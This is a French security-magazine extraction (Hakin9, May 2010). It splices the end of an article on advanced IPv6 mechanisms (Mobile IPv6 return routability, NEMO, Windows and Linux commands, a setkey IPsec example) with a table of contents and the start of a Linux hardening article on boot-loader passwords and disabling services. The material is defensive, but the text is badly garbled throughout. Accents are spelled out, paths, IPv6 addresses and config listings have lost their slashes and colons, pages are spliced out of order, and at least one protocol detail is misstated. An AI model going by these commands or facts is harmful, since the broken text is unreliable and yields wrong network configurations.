bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 3: hakin9_05_2010_FR

TABLE DES MATIERES

DossierRegravegles de seacutecurisation sous Linux 6Nicolas HantevilleCet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation il y aura question de regravegles de seacutecurisa-tion agrave mettre en place afin drsquoobtenir un niveau de seacutec-uriteacute convenable

AttAqueRapport drsquoanalyse drsquoune attaque par spear-phishing 14Adam Pridgen Matthew WollenweberLe spear-Phishing est un phishing cibleacute lrsquoattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

FoCusLe Projet Meacutetasploit 22Alexandre LacanParmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le pro-jet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche lrsquoeacutecriture et lrsquoexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit ex-press le nouveau logiciel de rapid7

52010

52010

PrAtiqueSamurai- proteacutegez vos applications Web 30Reacutegis SenetLa seacutecuriteacute des sites internet est aujourdrsquohui lrsquoun des aspects de la seacutecuriteacute le le plus souvent neacutegligeacute Les failles web permettent des actions de plus en plus im-portantes de la part des pirates informatiques samurai ou plus preacuteciseacutement samurai Web testing Framework ou encore samurai WtF est donc un LiveCD speacutecialiseacute dans les tests de peacuteneacutetration sur les applications web il a pour objectif de devenir LA plateforme de reacutefeacuterence en qualiteacute de peacuteneacutetration des applications web devant le tregraves complet Backtrack

Meacutecanismes IPV6 avanceacutes 40Freacutedeacuteric RoudautDepuis les anneacutees 80 lrsquointernet connaicirct un succegraves incroyable La majeure partie des entreprises y est ma-intenant directement connecteacutee le nombre de particu-liers deacutetenteurs drsquoun abonnement internet aupregravesdrsquoun FAi (Fournisseur drsquoAccegraves internet) est en croissance constante

52010

dossier

Dans le preacutesent article il y aura question de regravegles de seacutecurisation sous Linux Nous allons aborder la probleacutematique de seacutecu-

risation des services reacuteseaux en passant par les sauvegardes et la virtualisation Commenccedilons par quelques regravegles de base Afin dobtenir un bon ni-veau de seacutecuriteacute sur un systegraveme dexploitation il est tregraves important que certaines regravegles de base soient respecteacutees

bull Mes mots de passe doivent toujours ecirctre forts deacute-dieacutes au systegraveme et ecirctre changeacutes reacuteguliegraverement

bull Je ninstalle que les composants valideacutes essentiels au bon fonctionnement du systegraveme

bull Je seacutecurise les applications que jinstallebull Je mets agrave jour mon systegraveme et mes applications reacute-

guliegraverementbull Jutilise un pare-feu configureacute en se limitant aux flux

utilesbull Jinstalle un antivirus que je mets reacuteguliegraverement agrave

jour

La seacutequence de deacutemarrage appeleacutee vulgairement seacute-quence de BOOT est composeacutee en plusieurs eacutetapes

bull Le deacutemarrage via le BIOS (Chargement primaire) Le Basic Input Output System (systegraveme eacuteleacutementai-re dentreacuteesortie) est un micro-logiciel qui permet

de geacuterer la seacutequence de deacutemarrage de la machine (entre autre)

bull Le chargeur damorccedilage (Boot loader) (Charge-ment secondaire) Il permet de seacutelectionner le sys-tegraveme dexploitation sur lequel nous voulons deacutemar-rer

bull Le systegraveme dexploitation

seacutecurisation du BiosLe BIOS fait partie de ces parties obscures de lin-formatique que le simple utilisateur ne seacutecurise pas pourtant la mise en place dune couche seacutecuriteacute est assez simple agrave mettre en œuvre Dans un premier temps il faut limiter la seacutequence de deacutemarrage au dis-que dur maicirctre seul Si un autre peacuteripheacuterique tel que lUSB ou un lecteur optique est activeacute il sera possible de deacutemarrer avec une distribution live sur la machine dacceacuteder et modifier ses donneacutees Puis dactiver un mot de passe pour modifier la configuration du BIOS Nous permettant ainsi de proteacuteger la seacutecurisation preacute-ceacutedemment mise en place Il est aussi possible dacti-ver sur certaines cartes megraveres un mot de passe avant le chargeur damorccedilage Enfin la mise en place dun cadenas sur le boicirctier de la machine (ce nest actuelle-ment pas possible sur les portables) afin deacuteviter quun petit malin neffectue un CLEAR CMOS (reacuteinitialisation de la configuration du BIOS) via les connecteurs preacute-vus agrave cet effet sur la carte megravere

regravegles de seacutecurisation sous Linux

Cet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation Il y aura question de regravegles de seacutecurisation a mettre en place afin drsquoobtenir un niveau de seacutecuriteacute convenable

Cet article expliquebull Comment seacutecuriser la seacutequence de deacutemarragebull La pobleacutematique de seacutecurisation des services reacuteseauxbull Quelles sont les possibiliteacutes avec la gestion des droits sur les fi-

chiers sous Linuxbull Des points importants sur la virtualisationbull Pourquoi utiliser la journalisation et les sauvegardes

Ce quil faut savoirbull Des connaissances en administration Linux

Nicolas Hanteville

regravegles de seacutecurisation

hakin9orgfr

password=M0n_Super_M0t_De_Pa$$e

restricted

delay=5

Pour appliquer un mot de passe sur une image preacutecise

image=bootImage

read-only

password=M0n_Beau_M0t_De_Pa$$e

restricted

Il faut ensuite appliquer les modifications

sbinlilo -v

Une autre solution compleacutementaire (fonctionne sous UBUNTU) permet de speacutecifier les peacuteripheacuteriques tty (terminaux) ou root peut se connecter Par exemple dans le fichier etcsecuretty en mettant en commen-taire toutes les lignes mise agrave part tty1 si vous utilisez udev ou vc1 pour devfs

Limiter le nombre de services au deacutemarrage Les problegravemes de seacutecurisation des machines provien-nent aussi du nombre de programmes exeacutecuteacutes au deacutemarrage du systegraveme dexploitation qui pour un bon nombre ne servent pas

Plusieurs outils permettent de le faire graphique-ment de maniegravere native sous Ubuntu dans le menu Systegraveme-gtAdministration-gtServices il est possible en simplement deacutecochant des cases de deacutesactiver des services Il existe aussi sysv-rc-conf ou boot-up mana-ger ce sont des outils suppleacutementaires que je cite pour exemple mais je conseille la meacutethode manuelle (voir commandes agrave la fin du chapitre)

On ne deacutesactive pas nimporte quoi sous peine de rendre le systegraveme instable au prochain deacutemarrage

Quels services deacutesactiver La reacuteponse est agrave la fois simple on supprime les ser-vices inutiles et agrave la fois compliqueacutee quels services sont utiles

Voici un exemple de services inutiles (les plus geacuteneacute-raux)

bull apache si vous navez pas vocation agrave transformer votre machine en serveur Web il vaut mieux le deacute-sinstaller

Bien sucircr la solution la plus facile pour acceacuteder aux donneacutees dune machine locale eacutetant la reacutecupeacuteration du support de stockage tregraves facile agrave enlever sur la majoriteacute des ordinateurs portables

La meilleure solution actuelle pour limiter laccegraves aux donneacutees confidentialiteacute eacutetant le chiffrement de disque dur entier ou bien par container

Une solution libre de chiffrement par container TrueCrypt httpwwwtruecryptorg

seacutecurisation du chargeur damorccedilageLes plus connus eacutetant GRUB (GRand Unified Bootloa-der) et LILO (LInux LOader) les chargeurs damorccedilage permettent de seacutelectionner le systegraveme dexploitation sur lequel deacutemarrer mais aussi de deacutemarrer en mode single user (eacutedition interactive) qui permet de deacutemarrer loca-lement avec des droits root sans aucun mot de passe par deacutefaut

Pour le seacutecuriser plusieurs options sont possibles

bull deacutefinir un mot de passe pour deacutemarrer le systegraveme dexploitation

bull ou supprimer ce mode

sous GrUBPour deacutefinir un mot de passe il faut dans un premier temps chiffrer le mot de passe en MD5 il est possible dutiliser le shell grub avec la commande md5crypt (voir Figure 1)

Puis dajouter dans le fichier de configuration bootgrubmenulst apregraves la ligne time-out la ligne suivante password --md5 Mon_Mot_De_Passe

La commande --md5 signifie que le mot de passe nest pas en clair

Apregraves cette manipulation on peut maintenant speacutecifier les entreacutees qui requiegraverent un mot de passe pour ce faire il faut ajouter apregraves la ligne title dune entreacutee la com-mande lock (les lignes sont tronqueacutes volontairement)

title Debian GNULinux (recovery mode) lock

kernel bootvmlinuz ro single

initrd bootinitrdimg

Pour supprimer le mode single user ce mode est ap-peleacute single sous GRUB il suffit donc de supprimer les entreacutees correspondantes (ci dessus) Quand vous sup-primez une entreacutee dans le fichier de configuration cela peut alteacuterer la seacutelection du systegraveme dexploitation par deacutefaut (penser agrave modifier la valeur default du deacutebut

sous LiLoLa deacutefinition du mot de passe peut ecirctre globale ou par entreacutee malheureusement le mot de passe reacuteside en clair dans le fichier Pour appliquer un mot de passe global on ajoute au deacutebut du fichier etcliloconf ou etcmenulst comme suit Figure 1 Exemple dutilisation de md5crypt

52010

dossier

bull at planificateur deacutevegravenements si aucun autre pro-gramme ne lutilise (exeacutecution peacuteriodique) vous pou-vez le deacutesactiver attention toutefois il est tregraves sou-vent utiliseacute

bull PCMCIA si vous necirctes pas sur une machine pos-seacutedant ce port il ne sert agrave rien

bull bluetooth si vous navez pas de connectique Blue-tooth il ne sert agrave rien

bull cups si vous nutilisez pas dimprimante (il est parfois utiliseacute avec certains programmes dimpression PDF)

bull FTP serveur de fichierbull ssh si vous neffectuez pas dadministration distan-

te sur votre machine supprimez-le

Cette liste nest pas exhaustive il existe beaucoup trop de programmes pour tous les lister ici Le fait de deacute-sactiver un service diminue limpact quil aura sur la seacutecuriteacute de la machine et diminue aussi la meacutemoire et le temps processeur utiliseacutes cest donc tregraves beacuteneacutefique

Pour lister les services et leurs niveaux dexeacutecution

sbinchkconfig --list

- Pour lister les services reacuteseaux en eacutecoute

lsof -i -n | egrep COMMAND|LISTEN

- Arrecircter un service

etcrcdinitd[nom du service] stop

- Exeacutecuter un service

etcrcdinitd[nom du service] start

- Ajouter un service du deacutemarrage

update-rcd [nom du service] defaults

- Supprimer un service du deacutemarrage

update-rcd [nom du service] remove

Il est aussi possible deffectuer une exeacutecution de comman-de automatique lors de la connexion de lutilisateur notam-ment avec le fichier home[Nom de lutilisateur]bashrc

seacutecurisation des servicesLes nouveaux modegraveles de communication font que lintrusion dans les systegravemes dinformation la plus

significative provient de la seacutecurisation des services reacuteseau et plus preacuteciseacutement des applications Web il est donc tregraves important de seacutecuriser ces services Nous ne parlerons pas ici de la seacutecurisation par filtrage qui sera traiteacutee dans un autre article

